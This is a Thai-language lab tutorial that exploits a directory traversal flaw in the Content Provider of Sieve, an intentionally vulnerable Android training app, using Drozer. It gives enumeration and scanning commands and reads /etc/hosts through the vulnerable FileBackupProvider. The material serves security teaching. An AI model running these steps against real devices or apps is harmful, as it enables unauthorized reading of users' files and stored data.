How to exploit Directory Traversal via “Content Provider” using Drozer – Sieve

บทนำ (Overview)

“Directory Traversal” หมายถึงช่องโหว่ที่สามารถทำให้เราเข้าถึงระบบไฟล์ที่อยู่ในโฟลเดอร์ต่างของเครื่อง “Android” โดยที่โปรแกรมไม่ได้อนุญาต แต่อาศัยช่องโหว่ของ “Content Provider” และการเดา “Path” และชื่อไฟล์ต่าง ก็ทำให้เราสามารถอ่านไฟล์ที่สำคัญ ทั้งของระบบและ “Application” บทความนี้นำเสนอตัวอย่างการทำ “Directory Traversal” ผ่านช่องโหว่ของ “Content Provider” โดยใช้โปรแกรม “Drozer”

ขั้นตอน (Steps)

  1. ติดตั้งโปรแกรม “Sieve” บทเครื่องAndroid หรือ Emulator (How to install sieve.apk on Genymotion Emulator)
  2. ตั้งรหัสผ่าน แล้วกดปุ่ม “Submit”sieve-04
  3. จากนั้นตั้งค่า “PIN” แล้ว “Submit” sieve-05
  4. เมื่อเสร็จสิ้นให้ “Sign-in” โดย “password” ที่ตั้งครั้งแรก sieve-06
  5. ให้กดปุ่ม + เพื่อเพิ่มรหัสผ่านใหม่ sieve-07
  6. กรอกข้อมูลแล้วกดปุ่ม “Save” sieve-08
  7. ข้อมูลจะถูกเพิ่มขึ้นเรื่อย ๆ sieve-09
  8. ติดตั้งและตั้งค่าสำหรับโปรแกรม “Drozer” (How to set Drozer)
  9. เรียกใช้ Drozer console
    //Forward port เพื่อเชื่อมต่อโปรแกรม Drozer บน Emulator หรือ Device
    C:\Users\[user]\Desktop
    λ adb forward tcp:31415 tcp:31415
        
    //เรียกใช้งาน Drozer console
    C:\Users\[user]\Desktop
    λ drozer console connect
    
  10. ตรวจสอบชื่อ “package” โดยใช้คำสั่งค้นหา
    //ทดลองเดาชื่อโปรแกรม หรือคำอื่น ๆ เพื่อช่วยในการค้นหา
    dz> run app.package.list -f sieve
    com.mwr.example.sieve (Sieve)
    
  11. จากนั้นไปหายอดสรุปก่อนว่า “Component” มีเปิด “Exported” อยู่หรือไม่
    //จากตัวอย่างพบว่ามี Content providers เปิดอยู่ 2 component
    dz> run app.package.attacksurface com.mwr.example.sieve
    Attack Surface:
      3 activities exported
      0 broadcast receivers exported
      2 content providers exported
      2 services exported
        is debuggable
    
  12. เมื่อทราบว่ามี “Content Provider” เปิด “Exported” เราจะตรวจสอบรายละเอียดกัน
    dz> run app.provider.info -a com.mwr.example.sieve
    Package: com.mwr.example.sieve
      Authority: com.mwr.example.sieve.DBContentProvider
        Read Permission: null
        Write Permission: null
        Content Provider: com.mwr.example.sieve.DBContentProvider
        Multiprocess Allowed: True
        Grant Uri Permissions: False
        Path Permissions:
          Path: /Keys
            Type: PATTERN_LITERAL
            Read Permission: com.mwr.example.sieve.READ_KEYS
            Write Permission: com.mwr.example.sieve.WRITE_KEYS
      Authority: com.mwr.example.sieve.FileBackupProvider
        Read Permission: null
        Write Permission: null
        Content Provider: com.mwr.example.sieve.FileBackupProvider
        Multiprocess Allowed: True
        Grant Uri Permissions: False
    
  13. จากตัวอย่างพบว่ามี 2 “Component” ชื่อ “DBContentProvider” และ “FileBackupProvider” ไม่ต้องการ “Permission” ใด ๆ เป็นพิเศษยกเว้น “/Keys path” ใน “component” ของ “DBContentProvider”
  14. เราจะตรวจสอบ “URIs” ที่สามารถเข้าถึง “Content Providers” ได้
    dz> run scanner.provider.finduris -a com.mwr.example.sieve
    Scanning com.mwr.example.sieve...
    Unable to Query  content://com.mwr.example.sieve.DBContentProvider/
    Unable to Query  content://com.mwr.example.sieve.FileBackupProvider/
    Unable to Query  content://com.mwr.example.sieve.DBContentProvider
    Able to Query    content://com.mwr.example.sieve.DBContentProvider/Passwords/
    Able to Query    content://com.mwr.example.sieve.DBContentProvider/Keys/
    Unable to Query  content://com.mwr.example.sieve.FileBackupProvider
    Able to Query    content://com.mwr.example.sieve.DBContentProvider/Passwords
    Unable to Query  content://com.mwr.example.sieve.DBContentProvider/Keys
      
    Accessible content URIs:
      content://com.mwr.example.sieve.DBContentProvider/Keys/
      content://com.mwr.example.sieve.DBContentProvider/Passwords
      content://com.mwr.example.sieve.DBContentProvider/Passwords/
    
  15. เราสามารถตรวจสอบได้ว่ามีช่องโหว่ “Directory Traversal” ผ่าน “Content Providers” ที่มีช่องโหว่ได้จากคำสั่ง
    dz> run scanner.provider.traversal -a com.mwr.example.sieve
    Scanning com.mwr.example.sieve...
    Not Vulnerable:
      content://com.mwr.example.sieve.DBContentProvider/
      content://com.mwr.example.sieve.DBContentProvider/Keys
      content://com.mwr.example.sieve.DBContentProvider/Passwords/
      content://com.mwr.example.sieve.DBContentProvider/Keys/
      content://com.mwr.example.sieve.DBContentProvider/Passwords
      content://com.mwr.example.sieve.DBContentProvider
    
    Vulnerable Providers:
      content://com.mwr.example.sieve.FileBackupProvider/
      content://com.mwr.example.sieve.FileBackupProvider
    
  16. จากข้างต้นพบช่องโหว่ผ่าน “Providers” 2 “URIs”
  17. เราสามารถอ่านไฟล์ผ่านไดเรกทอรี่ต่าง ๆ โดยใช้คำสั่ง
    dz#> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
    127.0.0.1                   localhost
    
  18. เมื่อกลับไปตรวจสอบ “permission” ของ “/etc/host” พบว่า “Other” สามารถ “Read” ได้
    root@android:/etc # ls -l
    ls -l
    -rw-r--r-- root     root       133499 2016-01-07 21:05 NOTICE.html.gz
    -rw-r--r-- root     root         6575 2015-11-18 11:46 apns-conf.xml
    -rw-r--r-- root     root         4305 2015-11-18 11:46 audio_effects.conf
    -rw-r--r-- root     root         1723 2016-01-07 20:49 audio_policy.conf
    -rw-r--r-- root     root       378880 2016-01-07 20:49 cell.db
    -rw-r--r-- root     root            8 2016-01-07 20:49 cpufreq
    -r--r----- bluetooth bluetooth      935 2015-11-18 11:46 dbus.conf
    drwxr-xr-x root     root              2015-11-18 11:46 dhcpcd
    -rw-r--r-- root     root        14302 2016-01-07 20:49 event-log-tags
    -rw-r--r-- root     root          122 2016-01-07 20:49 excluded-input-devices.xml
    -rw-r--r-- root     root         4320 2016-01-07 20:49 fallback_fonts.xml
    -rw-r--r-- root     root          238 2016-01-07 20:49 gps.conf
    -rw-r--r-- root     root           25 2015-11-18 11:46 hosts
    -r-xr-x--- root     shell        6571 2016-01-07 20:49 init.droid4x.sh
    -r-xr-x--- root     shell        1755 2015-11-18 11:46 init.goldfish.sh
    -rw-r--r-- root     root         4514 2016-01-07 20:49 media_codecs.xml
    -rw-r--r-- root     root         9858 2016-01-07 20:49 media_profiles.xml
    -rw-r--r-- root     root          730 2015-11-18 11:46 mkshrc
    drwxr-xr-x root     root              2015-11-18 11:46 permissions
    drwxr-xr-x root     root              2015-11-18 11:46 ppp
    drwxr-xr-x root     root              2015-11-18 11:46 security
    -rw-r--r-- root     root         3418 2016-01-07 20:49 system_fonts.xml
    -rw-r--r-- root     root            0 2016-01-07 20:49 vold.conf
    -rw-r--r-- root     root           94 2016-01-07 20:49 vold.fstab
    

 

ใส่ความเห็น